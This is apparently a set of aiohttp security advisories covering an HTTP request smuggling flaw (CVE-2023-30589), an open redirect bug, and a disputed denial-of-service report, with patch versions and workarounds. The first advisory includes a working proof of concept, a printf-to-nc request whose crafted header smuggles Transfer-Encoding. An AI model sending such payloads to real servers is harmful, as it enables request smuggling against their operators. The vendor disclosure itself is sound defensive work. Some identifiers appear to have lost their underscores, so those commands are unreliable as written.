Impact

aiohttp v3.8.4 and earlier are bundled with llhttp v6.0.6 which is vulnerable to CVE-2023-30589. The vulnerable code is used by aiohttp for its HTTP request parser when available which is the default case when installing from a wheel.

This vulnerability only affects users of aiohttp as an HTTP server (ie aiohttp.Application), you are not affected by this vulnerability if you are using aiohttp as an HTTP client library (ie aiohttp.ClientSession).

Reproducer

python from aiohttp import web

async def example(request: web.Request): headers = dict(request.headers) body = await request.content.read() return web.Response(text=f"headers: {headers} body: {body}")

app = web.Application() app.addroutes([web.post('/', example)]) web.runapp(app)

Sending a crafted HTTP request will cause the server to misinterpret one of the HTTP header values leading to HTTP request smuggling.

console $ printf "POST / HTTP/1.1\r\nHost: localhost:8080\r\nX-Abc: \rxTransfer-Encoding: chunked\r\n\r\n1\r\nA\r\n0\r\n\r\n" \ | nc localhost 8080

Expected output: headers: {'Host': 'localhost:8080', 'X-Abc': '\rxTransfer-Encoding: chunked'} body: b''

Actual output (note that 'Transfer-Encoding: chunked' is an HTTP header now and body is treated differently) headers: {'Host': 'localhost:8080', 'X-Abc': '', 'Transfer-Encoding': 'chunked'} body: b'A'

Patches

Upgrade to the latest version of aiohttp to resolve this vulnerability. It has been fixed in v3.8.5: pip install aiohttp >= 3.8.5

Workarounds

If you aren't able to upgrade you can reinstall aiohttp using AIOHTTPNOEXTENSIONS=1 as an environment variable to disable the llhttp HTTP request parser implementation. The pure Python implementation isn't vulnerable to request smuggling:

console $ python -m pip uninstall --yes aiohttp $ AIOHTTPNOEXTENSIONS=1 python -m pip install --no-binary=aiohttp --no-cache aiohttp

References

https://nvd.nist.gov/vuln/detail/CVE-2023-30589 https://hackerone.com/reports/2001873

Impact

Open redirect vulnerability — a maliciously crafted link to an aiohttp-based web-server could redirect the browser to a different website.

It is caused by a bug in the aiohttp.webmiddlewares.normalizepathmiddleware middleware.

Patches

This security problem has been fixed in v3.7.4. Upgrade your dependency as follows: [pip install aiohttp >= 3.7.4]

Workarounds

If upgrading is not an option for you, a workaround can be to avoid using aiohttp.webmiddlewares.normalizepathmiddleware in your applications.

References

[aiohttp @ PyPI] [GHSA-v6wp-4m6f-gcjg] [OWASP page on open redirects]

For more information

If you have any questions or comments about this advisory: Open an issue in the aiohttp repo Email us at wk+aio-libs-security@sydorenko.org.ua and/or andrew.svetlov+aio-libs-security@gmail.com

Credit: [Jelmer Vernooij] and [Beast Glatisant].

[aiohttp @ PyPI]: https://pypi.org/p/aiohttp [pip install aiohttp >= 3.7.4]: https://pypi.org/project/aiohttp/3.7.4/ [GHSA-v6wp-4m6f-gcjg]: https://github.com/aio-libs/aiohttp/security/advisories/GHSA-v6wp-4m6f-gcjg [OWASP page on open redirects]: https://cheatsheetseries.owasp.org/cheatsheets/UnvalidatedRedirectsandForwardsCheatSheet.html

[Jelmer Vernooij]: https://jelmer.uk [Beast Glatisant]: https://github.com/g147

DISPUTED AIOHTTP 3.8.1 can report a "ValueError: Invalid IPv6 URL" outcome, which can lead to a Denial of Service (DoS). NOTE: multiple third parties dispute this issue because there is no example of a context in which denial of service would occur, and many common contexts have exception handing in the calling application.